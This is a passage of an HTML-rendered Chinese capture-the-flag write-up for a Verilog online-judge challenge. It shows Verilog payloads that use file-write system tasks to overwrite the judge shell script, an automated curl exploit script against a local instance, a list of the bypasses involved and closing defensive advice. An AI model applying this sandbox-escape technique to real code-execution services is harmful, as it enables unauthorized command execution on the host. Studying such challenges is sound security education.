&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;#!&#x2F;bin&#x2F;sh&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;set -e&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&#x2F;readflag give me the flag &amp;gt; &#x2F;app&#x2F;app&#x2F;presentation&#x2F;public&#x2F;flag.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;cd &lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;$1&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt;\&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;iverilog module.v testbench.v -o judge&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            $fdisplay&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd, &lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&amp;quot;vvp judge&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function&quot;&gt;            $fclose&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(fd);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;        end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;endmodule&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;第二次提交&lt;&#x2F;strong&gt;：触发新脚本执行&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;verilog&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;`timescale&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; 1ns&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;1ps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;module&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-type&quot;&gt; Crossbar_2x2_4bit&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    input&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] in1,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    input&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;  [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] in2,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    input&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;        control,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    output&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] out1,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    output&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;3&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt;] out2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    assign&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; out1 &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; control ? in2 : in1;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    assign&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; out2 &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; control ? in1 : in2;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-storage z-type&quot;&gt;endmodule&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;zi-dong-hua-li-yong-jiao-ben&quot;&gt;自动化利用脚本&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-shebang z-shell z-meta z-shebang z-shell&quot;&gt;#!&#x2F;bin&#x2F;zsh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;set&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -euo pipefail&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;PORT&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-variable z-other z-normal z-shell&quot;&gt;${PORT&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;:-&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-normal z-shell z-punctuation z-definition z-variable&quot;&gt;9292}&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;BASE_URL&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;http:&#x2F;&#x2F;127.0.0.1:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-variable z-other z-normal z-shell&quot;&gt;${PORT}&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;# 检查服务状态&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;if&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; !&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -fsS &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-variable z-other z-normal z-shell&quot;&gt;${BASE_URL}&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;    printf&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;服务未运行，请先启动 docker compose up -d\n&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; &amp;gt;&amp;amp;2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;    exit&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;# 第一次提交：覆盖脚本&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -sS -X POST &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-variable z-other z-normal z-shell&quot;&gt;${BASE_URL}&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;judge&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;    --data-urlencode &amp;quot;problem=1&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string&quot;&gt;    --data-urlencode code@payload1.v&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;# 第二次提交：触发执行&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -sS -X POST &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-variable z-other z-normal z-shell&quot;&gt;${BASE_URL}&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;judge&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;    --data-urlencode &amp;quot;problem=1&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-character z-escape&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-string&quot;&gt;    --data-urlencode code@payload2.v&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;# 轮询获取 flag&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;for&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; i&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; in&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; $(&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;seq&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 1 60&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;);&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -fsS &amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-variable z-other z-normal z-shell&quot;&gt;${BASE_URL}&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;flag.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; 2&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;&#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;        exit&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;    fi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;    sleep&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-keyword&quot;&gt;done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ji-shu-xi-jie&quot;&gt;技术细节&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;guan-jian-lu-jing-fen-xi&quot;&gt;关键路径分析&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;静态文件目录&lt;&#x2F;strong&gt;：通过分析 &lt;code&gt;config.ru&lt;&#x2F;code&gt; 发现 Roda 配置了静态文件服务&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;plugin &lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-language&quot;&gt;public&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;,&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-language&quot;&gt; root&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;app&#x2F;presentation&#x2F;public&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;脚本执行路径&lt;&#x2F;strong&gt;：从 &lt;code&gt;judge_job.rb&lt;&#x2F;code&gt; 确认脚本路径为 &lt;code&gt;&#x2F;app&#x2F;scripts&#x2F;judge.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-source&quot;&gt;script_path&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; =&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-class&quot;&gt; File&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;realpath&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;#{&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-class&quot;&gt;File&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;dirname&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable&quot;&gt;__FILE__&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)}&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt;&#x2F;..&#x2F;..&#x2F;scripts&#x2F;judge.sh&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;权限模型&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Web 应用运行用户：&lt;code&gt;app&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;readflag&lt;&#x2F;code&gt; 权限：&lt;code&gt;root:root 4555&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;静态目录权限：&lt;code&gt;app&lt;&#x2F;code&gt; 可写&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;an-quan-ji-zhi-rao-guo&quot;&gt;安全机制绕过&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;$system 禁用绕过&lt;&#x2F;strong&gt;：使用 &lt;code&gt;$fopen&lt;&#x2F;code&gt; 间接执行&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;权限提升&lt;&#x2F;strong&gt;：利用 SUID 程序特性&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件写入限制绕过&lt;&#x2F;strong&gt;：选择 Web 可访问的静态目录&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;沙箱逃逸&lt;&#x2F;strong&gt;：通过覆盖系统脚本实现代码执行&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ben-di-ce-shi-yan-zheng&quot;&gt;本地测试验证&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;huan-jing-qi-dong&quot;&gt;环境启动&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; compose up -d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;zhi-xing-li-yong&quot;&gt;执行利用&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;.&#x2F;voj_exploit.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;yan-zheng-jie-guo&quot;&gt;验证结果&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;# 检查脚本是否被覆盖&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; exec verilogoj284pts-oj-1 cat &#x2F;app&#x2F;scripts&#x2F;judge.sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;# 验证 flag 文件&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;docker&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; exec verilogoj284pts-oj-1 cat &#x2F;app&#x2F;app&#x2F;presentation&#x2F;public&#x2F;flag.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;# HTTP 访问验证&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;curl&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; http:&#x2F;&#x2F;127.0.0.1:9292&#x2F;flag.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;输出&lt;&#x2F;strong&gt;：&lt;code&gt;hitcon{testflag}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;fang-yu-jian-yi&quot;&gt;防御建议&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;dai-ma-ceng-mian&quot;&gt;代码层面&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;禁用文件系统写入&lt;&#x2F;strong&gt;：限制 Verilog 仿真器的文件操作权限&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;沙箱隔离&lt;&#x2F;strong&gt;：使用更严格的容器安全策略&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;脚本保护&lt;&#x2F;strong&gt;：将关键脚本设置为只读或使用不可变文件系统&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;jia-gou-ceng-mian&quot;&gt;架构层面&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;最小权限原则&lt;&#x2F;strong&gt;：避免使用 SUID 程序，改用更安全的权限提升机制&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;文件系统隔离&lt;&#x2F;strong&gt;：将用户代码执行环境与 Web 应用完全隔离&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;输出过滤&lt;&#x2F;strong&gt;：对仿真器输出进行严格过滤和验证&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;jian-kong-ceng-mian&quot;&gt;监控层面&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;文件完整性监控&lt;&#x2F;strong&gt;：监控关键系统文件的修改&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;异常行为检测&lt;&#x2F;strong&gt;：检测非预期的文件访问和系统调用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;审计日志&lt;&#x2F;strong&gt;：记录所有文件操作和权限提升事件&lt;&#x2F;li&gt;
